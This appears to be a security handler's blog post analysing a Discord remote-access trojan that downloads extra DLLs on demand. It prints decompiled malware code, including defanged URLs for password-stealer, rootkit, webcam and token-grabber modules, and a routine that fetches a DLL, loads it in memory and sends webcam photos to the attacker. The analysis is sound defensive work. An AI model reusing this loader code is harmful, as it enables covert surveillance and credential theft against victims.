Example of "Modular" Malware
Developers (of malware as well as goodware) don't have to reinvent the wheel all the time. Why rewrite a piece of code that was development by someone else? In the same way, all operating systems provide API calls (or system calls) to interact with the hardware (open a file, display a pixel, send a packet over the wire, etc). These system calls are grouped in libraries (example: Windows provided wininet.dll to interact with networks).
Briefly, Developers have different ways to use libraries:
- Static linking: The library is added (appended) to the user code by thelinker at compilation time.
- Dynamic loading: The library is loaded by the "loader" when the program is started and made available to the program (the well-known "DLL" files)
- On-demand loading: The Developer decides that it's now time to load an extra DLL in the program environment.
In the malware ecosystem, the third method is pretty cool because Attackers can develop "modular" malware that will expand their capabilities only when needed. Let's imagine a malware that will first perform a footprint of the victim's computer. If the victim is an administrative employee and some SAP-related files or processes are discovered by the malware, it can fetch a specific DLL from a C2 server and load it to add features targeting SAP systems. Besides the fact that the malware is smaller, the malware may look less suspicious.
Here is an example of such malware that expands its capabilities on demand. The file is a Discord RAT (SHA256:9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e)[1]. The sample is a .Net malware and can be easily decompiled. Good news, there is no obfuscation implemented and the code is pretty easy to read.
The list of "modules" or external DLLs is provided in a dictionary:
public static Dictionary<string, string> dll_url_holder = new Dictionary<string, string> { { "password", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll" }, { "rootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll" }, { "unrootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll" }, { "webcam", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll" }, { "token", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll" } };
Let's take an example: Webcam.dll:
remnux@remnux:/MalwareZoo/20250507$ file Webcam.dll Webcam.dll: PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
DLLs are loaded only when required by the malware. The RAT has a command "webcampic" to take a picture of the victim:
"--> !webcampic = Take a picture out of the selected webcam"
Let's review the function associated to this command:
public static async Task webcampic(string channelid) { if (!dll_holder.ContainsKey("webcam")) { await LoadDll("webcam", await LinkToBytes(dll_url_holder["webcam"])); } if (!activator_holder.ContainsKey("webcam")) { activator_holder["webcam"] = Activator.CreateInstance(dll_holder["webcam"].GetType("Webcam.webcam")); activator_holder["webcam"].GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]); } object obj = activator_holder["webcam"]; obj.GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]); if ((obj.GetType().GetField("cameras").GetValue(obj) as IDictionary<int, string>).Count < 1) { await Send_message(channelid, "No cameras found!"); await Send_message(channelid, "Command executed!"); return; } try { byte[] item = (byte[])obj.GetType().GetMethod("GetImage").Invoke(obj, new object[0]); await Send_attachment(channelid, "", new List<byte[]> { item }, new string[1] { "webcam.jpg" }); await Send_message(channelid, "Command executed!"); } catch { await Send_message(channelid, "Error taking picture!"); await Send_message(channelid, "Command executed!"); } }
"dll_holder" is a dictionary that contains addresses of loaded DLLs:
public static async Task LoadDll(string name, byte[] data) { dll_holder[name] = Assembly.Load(data); }
In the webcam function, if the DLLS has not been loaded yet, the DLL file is fetched from the Git repository, converted into a byte array and loaded in memory. Once the DLL is loaded, the main class is used. Here is the decompiled code of Webcam.dll:
namespace Webcam { public class webcam { public static Dictionary<string, bool> ready = new Dictionary<string, bool>(); public static Dictionary<string, Bitmap> holder = new Dictionary<string, Bitmap>(); public static Dictionary<int, string> cameras = new Dictionary<int, string>(); public static int selected = 1; public static string GetWebcams() { // Code removed } public static byte[] GetImage() { // Code removed } private static void video_NewFrame(object sender, NewFrameEventArgs eventArgs, string key) { // Code removed } public static bool select(int num) { // Code removed } public static void init() { GetWebcams(); } } }
This is simple example of a "modular" malware! Happy Hunting!
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments